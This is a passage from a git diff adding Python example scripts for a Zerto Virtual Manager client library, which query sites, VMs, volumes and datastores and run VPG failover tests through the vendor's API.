clusters) + - Network configurations + - Host information + - Cloud resources (networks, subnets, security) +3. For each site, retrieves detailed information about: + - Organization VDCs + - Storage policies + - Network configurations + - Host devices and clusters + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/virtualization_sites_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Virtualization Sites Example") + parser.add_argument("--zvm_address", required=True, help="ZVM IP address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Initialize the client + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Example 1: Get all virtualization sites + logging.info("\nExample 1: Getting all virtualization sites") + sites = client.virtualization_sites.get_virtualization_sites() + logging.info("All sites:") + logging.info(json.dumps(sites, indent=2)) + + # Example 2: Get details for each site individually + for site in sites: + site_id = site['SiteIdentifier'] + site_name = site['VirtualizationSiteName'] + + logging.info(f"\nExample 2: Getting details for site {site_name} (ID: {site_id})") + site_details = client.virtualization_sites.get_virtualization_sites(site_identifier=site_id) + logging.info("Site Details:") + logging.info(json.dumps(site_details, indent=2)) + + # Example 3: Get unprotected VMs for each site + logging.info(f"\nExample 3: Getting unprotected VMs for site {site_name}") + vms = client.virtualization_sites.get_virtualization_site_vms(site_id) + logging.info(f"Found {len(vms)} unprotected VMs:") + logging.info(json.dumps(vms, indent=2)) + + # Example 4: Get unprotected VCD vApps for each site + logging.info(f"\nExample 4: Getting unprotected VCD vApps for site {site_name}") + vapps = client.virtualization_sites.get_virtualization_site_vcd_vapps(site_id) + logging.info(f"Found {len(vapps)} unprotected VCD vApps:") + logging.info(json.dumps(vapps, indent=2)) + + # Example 5: Get datastores for each site + logging.info(f"\nExample 5: Getting datastores for site {site_name}") + datastores = client.virtualization_sites.get_virtualization_site_datastores(site_id) + logging.info(f"Found {len(datastores)} datastores:") + logging.info(json.dumps(datastores, indent=2)) + + # Example 6: Get folders for each site + logging.info(f"\nExample 6: Getting folders for site {site_name}") + folders = client.virtualization_sites.get_virtualization_site_folders(site_id) + logging.info(f"Found {len(folders)} folders:") + logging.info(json.dumps(folders, indent=2)) + + # Example 7: Get datastore clusters for each site + logging.info(f"\nExample 7: Getting datastore clusters for site {site_name}") + datastore_clusters = client.virtualization_sites.get_virtualization_site_datastore_clusters(site_id) + logging.info(f"Found {len(datastore_clusters)} datastore clusters:") + logging.info(json.dumps(datastore_clusters, indent=2)) + + # Example 8: Get resource pools for each site + logging.info(f"\nExample 8: Getting resource pools for site {site_name}") + resource_pools = client.virtualization_sites.get_virtualization_site_resource_pools(site_id) + logging.info(f"Found {len(resource_pools)} resource pools:") + logging.info(json.dumps(resource_pools, indent=2)) + + # Example 9: Get organization VDCs for each site + logging.info(f"\nExample 9: Getting organization VDCs for site {site_name}") + org_vdcs = client.virtualization_sites.get_virtualization_site_org_vdcs(site_id) + logging.info(f"Found {len(org_vdcs)} organization VDCs:") + logging.info(json.dumps(org_vdcs, indent=2)) + + # Example 10: Get networks for each site + logging.info(f"\nExample 10: Getting networks for site {site_name}") + networks = client.virtualization_sites.get_virtualization_site_networks(site_id) + logging.info(f"Found {len(networks)} networks:") + logging.info(json.dumps(networks, indent=2)) + + # Example 11: Get hosts for each site + logging.info(f"\nExample 11: Getting hosts for site {site_name}") + hosts = client.virtualization_sites.get_virtualization_site_hosts(site_id) + logging.info(f"Found {len(hosts)} hosts:") + logging.info(json.dumps(hosts, indent=2)) + + # Example 12: Get host clusters for each site + logging.info(f"\nExample 12: Getting host clusters for site {site_name}") + host_clusters = client.virtualization_sites.get_virtualization_site_host_clusters(site_id) + logging.info(f"Found {len(host_clusters)} host clusters:") + logging.info(json.dumps(host_clusters, indent=2)) + + # Example 13: Get repositories for each site + logging.info(f"\nExample 13: Getting repositories for site {site_name}") + repositories = client.virtualization_sites.get_virtualization_site_repositories(site_id) + logging.info(f"Found {len(repositories)} repositories:") + logging.info(json.dumps(repositories, indent=2)) + + # Example 14: Get networks for each org VDC + logging.info(f"\nExample 14: Getting org VDC networks for site {site_name}") + org_vdcs = client.virtualization_sites.get_virtualization_site_org_vdcs(site_id) + for org_vdc in org_vdcs: + org_vdc_id = org_vdc['OrgVdcIdentifier'] + org_vdc_name = org_vdc['VcdVdcName'] + logging.info(f"\nFetching networks for org VDC: {org_vdc_name}") + networks = client.virtualization_sites.get_virtualization_site_org_vdc_networks(site_id, org_vdc_id) + logging.info(f"Found {len(networks)} networks in org VDC {org_vdc_name}:") + logging.info(json.dumps(networks, indent=2)) + + # Example 15: Get storage policies for each org VDC + logging.info(f"\nExample 15: Getting storage policies for org VDC: {org_vdc_name}") + storage_policies = client.virtualization_sites.get_virtualization_site_org_vdc_storage_policies(site_id, org_vdc_id) + logging.info(f"Found {len(storage_policies)} storage policies in org VDC {org_vdc_name}:") + logging.info(json.dumps(storage_policies, indent=2)) + + # Example 16: Get devices for each site + logging.info(f"\nExample 16a: Getting all devices for site {site_name}") + devices = client.virtualization_sites.get_virtualization_site_devices(site_id) + logging.info(f"Found {len(devices)} devices:") + logging.info(json.dumps(devices, indent=2)) + + # If we have hosts, get devices for the first host + if hosts: + host_id = hosts[0]['HostIdentifier'] + logging.info(f"\nExample 16b: Getting devices for host {host_id} in site {site_name}") + host_devices = client.virtualization_sites.get_virtualization_site_devices( + site_id, + host_identifier=host_id + ) + logging.info(f"Found {len(host_devices)} devices for host {host_id}:") + logging.info(json.dumps(host_devices, indent=2)) + + # If we found any devices, try filtering by the first device name + if host_devices: + device_name = host_devices[0]['DeviceName'] + logging.info(f"\nExample 16c: Getting devices with name {device_name} in site {site_name}") + filtered_devices = client.virtualization_sites.get_virtualization_site_devices( + site_id, + device_name=device_name + ) + logging.info(f"Found {len(filtered_devices)} devices with name {device_name}:") + logging.info(json.dumps(filtered_devices, indent=2)) + + # Example 17: Get public cloud virtual networks for each site + logging.info(f"\nExample 17: Getting public cloud virtual networks for site {site_name}") + cloud_networks = client.virtualization_sites.get_virtualization_site_public_cloud_networks(site_id) + logging.info(f"Found {len(cloud_networks)} public cloud virtual networks:") + logging.info(json.dumps(cloud_networks, indent=2)) + + # Example 18: Get public cloud subnets for each site + logging.info(f"\nExample 18: Getting public cloud subnets for site {site_name}") + cloud_subnets = client.virtualization_sites.get_virtualization_site_public_cloud_subnets(site_id) + logging.info(f"Found {len(cloud_subnets)} public cloud subnets:") + logging.info(json.dumps(cloud_subnets, indent=2)) + + # Example 19: Get public cloud security groups for each site + logging.info(f"\nExample 19: Getting public cloud security groups for site {site_name}") + security_groups = client.virtualization_sites.get_virtualization_site_public_cloud_security_groups(site_id) + logging.info(f"Found {len(security_groups)} public cloud security groups:") + logging.info(json.dumps(security_groups, indent=2)) + + # Example 20: Get public cloud VM instance types for each site + logging.info(f"\nExample 20: Getting public cloud VM instance types for site {site_name}") + instance_types = client.virtualization_sites.get_virtualization_site_public_cloud_vm_instance_types(site_id) + logging.info(f"Found {len(instance_types)} public cloud VM instance types:") + logging.info(json.dumps(instance_types, indent=2)) + + # Example 21: Get public cloud resource groups for each site + # currently this API returns a 500 error + # logging.info(f"\nExample 21: Getting public cloud resource groups for site {site_name}") + # resource_groups = client.virtualization_sites.get_virtualization_site_public_cloud_resource_groups(site_id) + # logging.info(f"Found {len(resource_groups)} public cloud resource groups:") + # logging.info(json.dumps(resource_groups, indent=2)) + + # Example 22: Get public cloud keys containers for each site + # currently this API returns a 500 error + # logging.info(f"\nExample 22: Getting public cloud keys containers for site {site_name}") + # keys_containers = client.virtualization_sites.get_virtualization_site_public_cloud_keys_containers(site_id) + # logging.info(f"Found {len(keys_containers)} public cloud keys containers:") + # logging.info(json.dumps(keys_containers, indent=2)) + + # Example 23: Get all encryption keys + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 23a: Getting all encryption keys for site {site_name}") + # encryption_keys = client.virtualization_sites.get_virtualization_site_public_cloud_encryption_keys(site_id) + # logging.info(f"Found {len(encryption_keys)} encryption keys:") + # logging.info(json.dumps(encryption_keys, indent=2)) + + # Example 23b: Get details of specific encryption keys if any exist + # if encryption_keys: + # key_id = encryption_keys[0]['Id'] + # logging.info(f"\nExample 23b: Getting details for encryption key {key_id}") + # key_details = client.virtualization_sites.get_virtualization_site_public_cloud_encryption_keys(site_id, key_id) + # logging.info("Encryption key details:") + # logging.info(json.dumps(key_details, indent=2)) + + # Example 24: Get public cloud managed identities for each site + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 24: Getting public cloud managed identities for site {site_name}") + # managed_identities = client.virtualization_sites.get_virtualization_site_public_cloud_managed_identities(site_id) + # logging.info(f"Found {len(managed_identities)} managed identities:") + # logging.info(json.dumps(managed_identities, indent=2)) + + # Example 25: Get public cloud disk encryption keys for each site + # currently this API returns a 500 error if does not exist + # logging.info(f"\nExample 25: Getting public cloud disk encryption keys for site {site_name}") + # disk_encryption_keys = client.virtualization_sites.get_virtualization_site_public_cloud_disk_encryption_keys(site_id) + # logging.info(f"Found {len(disk_encryption_keys)} disk encryption keys:") + # logging.info(json.dumps(disk_encryption_keys, indent=2)) + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vms_example.py b/examples/vms_example.py new file mode 100644 index 0000000..055c743 --- /dev/null +++ b/examples/vms_example.py @@ -0,0 +1,243 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Virtual Machines Example Script + +This script demonstrates how to manage and retrieve information about protected virtual machines in Zerto. + +The script performs the following steps: +1. Connects to Zerto Virtual Manager (ZVM) +2. Gets site information and resources: + - Local and peer site details + - Available datastores + - Network configurations +3. Demonstrates VM operations: + - Lists all protected VMs + - Gets detailed information for specific VMs + - Filters VMs by VPG name + - Manages VM restore points: + * Lists available checkpoints + * Gets points in time + * Retrieves recovery statistics +4. Shows VM restore capabilities: + - Configures restore settings + - Handles network and storage mappings + - Manages restore operations + +Required Arguments: + --zvm_address: ZVM address + --client_id: Keycloak client ID + --client_secret: Keycloak client secret + +Optional Arguments: + --ignore_ssl: Ignore SSL certificate verification + +Example Usage: + python examples/vms_example.py \ + --zvm_address \ + --client_id \ + --client_secret \ + --ignore_ssl + +Note: VM restore functionality is commented out in this example as it may return a 500 error. +""" + +# NOTE +# this example assumes that at least one VPG exists on the ZVM and protected VMs exist in the VPG +# the vm restore is commnted out as it fails with a 500 + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + + +def main(): + parser = argparse.ArgumentParser(description="Zerto Virtual Machines Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig( + level=logging.INFO, + format='%(asctime)s - %(levelname)s - %(message)s' + ) + + try: + # Connect to ZVM + logging.info(f"Connecting to ZVM at {args.zvm_address}") + client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + # Get both sites information + sites = client.virtualization_sites.get_virtualization_sites() + logging.info(f"Found {len(sites)} sites:") + for site in sites: + logging.info(f"Site: {site['VirtualizationSiteName']} (ID: {site['SiteIdentifier']})") + + # Get the peer (second) site identifier + local_site = client.localsite.get_local_site() + peer_site = next(site for site in sites + if site['SiteIdentifier'] != local_site['SiteIdentifier']) + peer_site_id = peer_site['SiteIdentifier'] + logging.info(f"Peer site identifier: {peer_site_id}") + + # Get datastores from peer site + datastores = client.virtualization_sites.get_virtualization_site_datastores(peer_site_id) + if not datastores: + raise ValueError("No datastores found in peer site") + # logging.info(json.dumps(datastores, indent=2)) + datastore_id = datastores[0]['DatastoreIdentifier'] # Use first datastore + logging.info(f"Selected datastore ID from peer site: {datastore_id}") + + # Get networks from peer site + networks = client.virtualization_sites.get_virtualization_site_networks(peer_site_id) + if not networks: + raise ValueError("No networks found in peer site") + network_id = networks[0]['NetworkIdentifier'] # Use first network + logging.info(f"Selected network ID from peer site: {network_id}") + + # Example 1: Get all protected VMs + logging.info("\nExample 1: Getting all protected VMs") + vms = client.vms.list_vms() + # logging.info(f'vms: {json.dumps(vms, indent=2)}') + if len(vms) == 0: + raise ValueError("No protected VMs found") + + # Example 2: If we found any VMs, get details for the first one + first_vm = vms[0] + vm_id = first_vm['VmIdentifier'] + vpg_id = first_vm.get('VpgIdentifier') # VpgIdentifier might be optional + + logging.info(f"\nExample 2: Getting details for VM {vm_id}") + vm_details = client.vms.list_vms( + vm_identifier=vm_id, + vpg_identifier=vpg_id + ) + # logging.info("VM details:") + # logging.info(json.dumps(vm_details, indent=2)) + + # Example 3: Get VMs filtered by VPG name + vpg_name = first_vm.get('VpgName') + if vpg_name: + logging.info(f"\nExample 3: Getting VMs filtered by VPG name: {vpg_name}") + filtered_vms = client.vms.list_vms(vpg_name=vpg_name) + # logging.info(f"Found {len(filtered_vms)} VMs in VPG {vpg_name}:") + # logging.info(json.dumps(filtered_vms, indent=2)) + + # Example 4: Restore the VM if it has checkpoints + logging.info("\nExample 4: Restoring VM from checkpoint") + + vpg_info = client.vpgs.list_vpgs(vpg_identifier=vpg_id) + vpg_name = vpg_info['VpgName'] + + checkpoints = client.vpgs.list_checkpoints(vpg_name=vpg_name) + # logging.info(f"checkpoints: {json.dumps(checkpoints, indent=2)}") + if not checkpoints: + logging.warning("No checkpoints found for VPG") + raise ValueError("No checkpoints found for VPG") + + checkpoint_id = checkpoints[0]['CheckpointIdentifier'] + + # Prepare restore settings using IDs from peer site + restore_settings = { + "datastoreIdentifier": datastore_id, + "nics": [ + { + "hypervisor": { + "dnsSuffix": "", + "ipConfig": { + "gateway": "", + "isDhcp": True, + "primaryDns": "", + "secondaryDns": "", + "staticIp": "", + "subnetMask": "" + }, + "networkIdentifier": network_id, + "shouldReplaceMacAddress": True + }, + "nicIdentifier": first_vm['Nics'][0]['NicIdentifier'] + } + ], + "volumes": [ + { + "datastore": { + "datastoreIdentifier": datastore_id, + "isThin": True + }, + "volumeIdentifier": volume['VmVolumeIdentifier'] + } for volume in first_vm['Volumes'] + ] + } + + # Initiate VM restore + # temporary commented out as it fails with a 500 + # logging.info(f"Restoring VM {first_vm['VmName']} from checkpoint {checkpoint_id}") + # restore_result = client.vms.restore_vm( + # vm_identifier=vm_id, + # vpg_identifier=vpg_id, + # restored_vm_name=f"{first_vm['VmName']}_restored", + # checkpoint_identifier=checkpoint_id, + # journal_vm_restore_settings=restore_settings + # ) + # logging.info(f"Restore initiated: {json.dumps(restore_result, indent=2)}") + + # Example 7: Get points in time for a VM + logging.info("\nExample 7: Getting points in time for VM") + try: + # You can optionally specify start_date and end_date in ISO format + # e.g., "2024-01-01T00:00:00.000Z" + points_in_time = client.vms.list_vm_points_in_time( + vm_identifier=vm_id, + vpg_identifier=vpg_id + ) + logging.info(f"Found {len(points_in_time)} points in time:") + logging.info(json.dumps(points_in_time, indent=2)) + except Exception as e: + logging.error(f"Failed to get VM points in time: {e}") + + # Example 8: Get points in time stats for a VM + logging.info("\nExample 8: Getting points in time stats for VM") + try: + points_in_time_stats = client.vms.list_vm_points_in_time_stats( + vm_identifier=vm_id, + vpg_identifier=vpg_id # Optional, but may be required if VM is in multiple VPGs + ) + logging.info("Points in time stats:") + logging.info(json.dumps(points_in_time_stats, indent=2)) + except Exception as e: + logging.error(f"Failed to get VM points in time stats: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/volumes_example.py b/examples/volumes_example.py new file mode 100644 index 0000000..a1fa7fe --- /dev/null +++ b/examples/volumes_example.py @@ -0,0 +1,138 @@ +#!/usr/bin/python3 + +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto Volumes Example Script + +This script demonstrates how to retrieve volume information from Zerto Virtual Manager (ZVM). +It shows how to list and filter volumes based on different criteria, making it useful for +volume management and monitoring. + +Key Features: +1. List all volumes in the system +2. Filter volumes by: + - VPG association + - Datastore location + - Protected VM attachment +3. Display volume details: + - Volume identifiers + - Storage information + - Protection status + - Resource associations + +Required Arguments: + --zvm_address: Site 1 ZVM address + client_id: Site 1 Keycloak client ID + client_secret: Site 1 Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/volumes_example.py \ + --zvm_address "192.168.1.100" \ + client_id "zerto-api" \ + client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script focuses on volume operations and requires only Site 1 credentials +since it performs read-only operations on the protected site. +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import urllib3 +import argparse +import logging +import json +from zvml import ZVMLClient + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +def main(): + parser = argparse.ArgumentParser(description="Zerto Volumes Example") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + # Configure logging + logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') + + try: + # Initialize the client + client = ZVMLClient(args.zvm_address, args.client_id, args.client_secret, not args.ignore_ssl) + + # Example 1: List all volumes + logging.info("\nExample 1: Listing all volumes") + try: + volumes = client.volumes.list_volumes() + logging.info(f"Found {len(volumes)} volumes:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes: {e}") + + # Example 2: List volumes for a specific VPG + logging.info("\nExample 2: Listing volumes for a specific VPG") + try: + # First get a VPG ID + vpgs = client.vpgs.list_vpgs() + # logging.info(f"vpgs: {json.dumps(vpgs, indent=2)}") + if vpgs: + vpg_id = vpgs[0]['VpgIdentifier'] + logging.info(f"vpg_id: {vpg_id}") + volumes = client.volumes.list_volumes(vpg_identifier=vpg_id) + logging.info(f"Found {len(volumes)} volumes for VPG {vpg_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for VPG: {e}") + + # Example 3: List volumes for a specific datastore + logging.info("\nExample 3: Listing volumes for a specific datastore") + try: + local_site1_identifier = client.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"local_site1_identifier: {local_site1_identifier}") + # First get a datastore ID + datastores = client.virtualization_sites.get_virtualization_site_datastores( + site_identifier=local_site1_identifier + ) + + for datastore in datastores: + datastore_id = datastore['DatastoreIdentifier'] + volumes = client.volumes.list_volumes(datastore_identifier=datastore_id) + logging.info(f"Found {len(volumes)} volumes for datastore {datastore_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for datastore: {e}") + + # Example 4: List volumes for a specific protected VM + logging.info("\nExample 4: Listing volumes for a specific protected VM") + try: + # First get a VM ID + vms = client.vms.list_vms() + if vms: + vm_id = vms[0]['VmIdentifier'] + volumes = client.volumes.list_volumes(protected_vm_identifier=vm_id) + logging.info(f"Found {len(volumes)} volumes for protected VM {vm_id}:") + logging.info(json.dumps(volumes, indent=2)) + except Exception as e: + logging.error(f"Failed to list volumes for protected VM: {e}") + + except Exception as e: + logging.error(f"Error occurred: {e}") + raise + +if __name__ == "__main__": + main() \ No newline at end of file diff --git a/examples/vpg_failover_example.py b/examples/vpg_failover_example.py new file mode 100644 index 0000000..3b37e96 --- /dev/null +++ b/examples/vpg_failover_example.py @@ -0,0 +1,422 @@ +# Legal Disclaimer +# This script is an example script and is not supported under any Zerto support program or service. +# The author and Zerto further disclaim all implied warranties including, without limitation, +# any implied warranties of merchantability or of fitness for a particular purpose. +# In no event shall Zerto, its authors or anyone else involved in the creation, +# production or delivery of the scripts be liable for any damages whatsoever (including, +# without limitation, damages for loss of business profits, business interruption, loss of business +# information, or other pecuniary loss) arising out of the use of or the inability to use the sample +# scripts or documentation, even if the author or Zerto has been advised of the possibility of such damages. +# The entire risk arising out of the use or performance of the sample scripts and documentation remains with you. + +""" +Zerto VPG Failover Example Script + +This script demonstrates how to perform parallel failover tests for multiple Virtual Protection Groups (VPGs) +using the Zerto Virtual Manager (ZVM) API. It showcases complete VPG lifecycle management from creation +to testing and cleanup. + +Key Features: +1. Site Management: + - Connect to protected site + - Retrieve local and peer site identifiers + - Manage cross-site replication using peer site information + +2. VPG Operations: + - Create multiple VPGs with custom settings + - Add VMs to VPGs + - Monitor initial synchronization + - Create checkpoints + - Run parallel failover tests + - Generate test reports + - Clean up resources + +3. Resource Management: + - Identify and select peer site datastores + - Configure peer site hosts and networks + - Set up peer site resource pools + - Manage VM folders + - Monitor volume replication + +Required Arguments: + --zvm_address: Protected site ZVM address + --client_id: Protected site Keycloak client ID + --client_secret: Protected site Keycloak client secret + --ignore_ssl: Ignore SSL certificate verification (optional) + +Example Usage: + python examples/vpg_failover_example.py \ + --zvm_address "192.168.111.20" \ + --client_id "zerto-api" \ + --client_secret "your-secret-here" \ + --ignore_ssl + +Note: This script requires credentials only for the protected site. All recovery site information +is retrieved using the peer site API, eliminating the need for direct access to the recovery site. +Resource identifiers and configuration details for both sites are managed through the protected +site's ZVM API. + +Script Flow: +1. Connects to protected site ZVM +2. Gets local and peer site information +3. Creates two VPGs in parallel: + - VpgTest1 protecting VM 'SmallCentOS' + - VpgTest2 protecting VM 'light-vm1' +4. Waits for both VPGs to reach MeetingSLA status +5. Performs parallel failover tests +6. Waits for user confirmation to stop tests +7. Stops failover tests in parallel +8. Generates test reports +9. Cleans up by deleting both VPGs +""" + +import sys +import os +sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +import argparse +import logging +import urllib3 +import json +from zvml import ZVMLClient +import time +from zvml.common import ZertoVPGStatus, ZertoVPGSubstatus +from zvml.recovery_reports import RecoveryReports +import threading +from concurrent.futures import ThreadPoolExecutor, as_completed + +# Disable SSL warnings +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +#name sure the api client lifespan settion is complete the initial sync, in my case I set it to 3600 seconds + +def setup_clients(args): + """ + Initialize and return Zerto clients and their local site identifiers for both sites + + Args: + args: Parsed command line arguments + + Returns: + tuple: (zvm_client, client2, local_site1_id, local_site2_id) + """ + # Create clients for both sites + zvm_client = ZVMLClient( + zvm_address=args.zvm_address, + client_id=args.client_id, + client_secret=args.client_secret, + verify_certificate=not args.ignore_ssl + ) + + #get all virtualization sites + virtualization_sites = zvm_client.virtualization_sites.get_virtualization_sites() + logging.info(f"Virtualization Sites: {json.dumps(virtualization_sites, indent=4)}") + + # Get local site ids + local_site_identifier = zvm_client.localsite.get_local_site().get('SiteIdentifier') + logging.info(f"Site 1 Local Site ID: {local_site_identifier}") + + #peer_site_identifier is site in the list that is not the local site + peer_site_identifier = next((site['SiteIdentifier'] for site in virtualization_sites if site['SiteIdentifier'] != local_site_identifier), None) + logging.info(f"Site 2 Local Site ID: {peer_site_identifier}") + + return zvm_client, local_site_identifier, peer_site_identifier + +def construct_vpg_settings(vpg_name, local_site_identifier, peer_site_identifier, site2_datastore_identifier, + site2_host_identifier, resource_pool_identifier, site2_folder_identifier, site2_network_identifier): + basic = { + "Name": vpg_name, + "VpgType": "Remote", + "RpoInSeconds": 300, + "JournalHistoryInHours": 1, + "Priority": "Medium", + "UseWanCompression": True, + "ProtectedSiteIdentifier": local_site_identifier, + "RecoverySiteIdentifier": peer_site_identifier + } + + # Fill journal structure + journal = { + "DatastoreIdentifier": site2_datastore_identifier, + "Limitation": { + "HardLimitInMB": 153600, + "WarningThresholdInMB": 115200 + } + } + + # Fill recovery structure + recovery = { + "DefaultHostIdentifier": site2_host_identifier, + "DefaultDatastoreIdentifier": site2_datastore_identifier, + "DefaultResourcePoolIdentifier": resource_pool_identifier, + "DefaultFolderIdentifier": site2_folder_identifier + } + + # Fill Networks structure + networks = { + "Failover": { + "Hypervisor": { + "DefaultNetworkIdentifier": site2_network_identifier + } + }, + "FailoverTest": { + "Hypervisor": { + "DefaultNetworkIdentifier": site2_network_identifier + } + } + } + + return basic, journal, recovery, networks + +def perform_failover_test(client, vpg_name): + """Execute failover test for a single VPG and get its report""" + try: + task_id = client.vpgs.failover_test(vpg_name) + logging.info(f"Failover test started for VPG {vpg_name}, task ID: {task_id}") + + # Wait for task completion + client.tasks.wait_for_task_completion(task_id) + + # Get the latest failover test report + latest_report = client.recovery_reports.get_latest_failover_test_report(vpg_name) + if latest_report: + logging.info(f"Failover test completed for VPG {vpg_name}") + return vpg_name, latest_report + return vpg_name, None + except Exception as e: + logging.error(f"Error in failover test for VPG {vpg_name}: {e}") + raise + +def run_parallel_failover_tests(client, vpg_names): + """Run failover tests in parallel for multiple VPGs""" + logging.info(f"Starting parallel failover tests for VPGs: {vpg_names}") + + with ThreadPoolExecutor(max_workers=len(vpg_names)) as executor: + # Submit all failover tasks + future_to_vpg = { + executor.submit(perform_failover_test, client, vpg_name): vpg_name + for vpg_name in vpg_names + } + + # Wait for all tasks to complete and collect results + results = {} + for future in as_completed(future_to_vpg): + vpg_name = future_to_vpg[future] + try: + vpg_name, report = future.result() + results[vpg_name] = report + logging.info(f"Completed failover test for VPG {vpg_name}") + except Exception as e: + logging.error(f"Failover test failed for VPG {vpg_name}: {e}") + results[vpg_name] = None + + return results + +def main(): + parser = argparse.ArgumentParser(description="zvml Client") + parser.add_argument("--zvm_address", required=True, help="ZVM address") + parser.add_argument('--client_id', required=True, help='Keycloak client ID') + parser.add_argument('--client_secret', required=True, help='Keycloak client secret') + # parser.add_argument("--site2_address", required=True, help="Site 2 ZVM address") + # parser.add_argument('--site2_client_id', required=True, help='Site 2 Keycloak client ID') + # parser.add_argument('--site2_client_secret', required=True, help='Site 2 Keycloak client secret') + parser.add_argument("--ignore_ssl", action="store_true", help="Ignore SSL certificate verification") + args = parser.parse_args() + + logging.basicConfig(level=logging.DEBUG) + + try: + vpg_structure = [ + { + 'vpg_name': 'VpgTest1', + 'vm_name': 'SmallCentOS' + }, + { + 'vpg_name': 'VpgTest2', + 'vm_name': 'light-vm1' + } + ] + + # Setup clients and get site identifiers + zvm_client, local_site_identifier, peer_site_identifier = setup_clients(args) + + # Get datastore identifier from site 2 using ZVM API + site2_datastores = zvm_client.virtualization_sites.get_virtualization_site_datastores( + site_identifier=peer_site_identifier + ) + selected_datastore = next((ds for ds in site2_datastores if ds.get('DatastoreName') == "DS_VM_Right"), None) + site2_datastore_identifier = selected_datastore.get('DatastoreIdentifier') + logging.info(f"Site 2 Datastore ID: {site2_datastore_identifier}") + + # Get host identifier from site 2 using ZVM API + site2_hosts = zvm_client.virtualization_sites.get_virtualization_site_hosts( + site_identifier=peer_site_identifier + ) + # logging.info(f"Site 2 Hosts: {site2_hosts}") + # Get the first host from the list + selected_host = site2_hosts[0] + site2_host_identifier = selected_host.get('HostIdentifier') + # logging.info(f"Site 2 Host ID: {site2_host_identifier}") + + # Get resource pools from site 2 using ZVM API + resource_pools = zvm_client.virtualization_sites.get_virtualization_site_resource_pools( + site_identifier=peer_site_identifier + ) + if resource_pools: + resource_pool_identifier = resource_pools[0].get('ResourcePoolIdentifier') + logging.info(f"Resource Pool ID: {resource_pool_identifier}") + else: + logging.error("No resource pools found on site 2.") + return + + # Get networks from site 2 using ZVM API + networks = zvm_client.virtualization_sites.get_virtualization_site_networks( + site_identifier=peer_site_identifier + ) + if networks: + site2_network_identifier = networks[0].get('NetworkIdentifier') + logging.info(f"Network ID: {site2_network_identifier}") + else: + logging.error("No networks found on site 2.") + return + + # Get folders from site 2 using ZVM API + folders = zvm_client.virtualization_sites.get_virtualization_site_folders( + site_identifier=peer_site_identifier + ) + for folder in folders: + if folder.get('FolderName') == '/': + site2_folder_identifier = folder.get('FolderIdentifier') + logging.info(f"Folder ID: 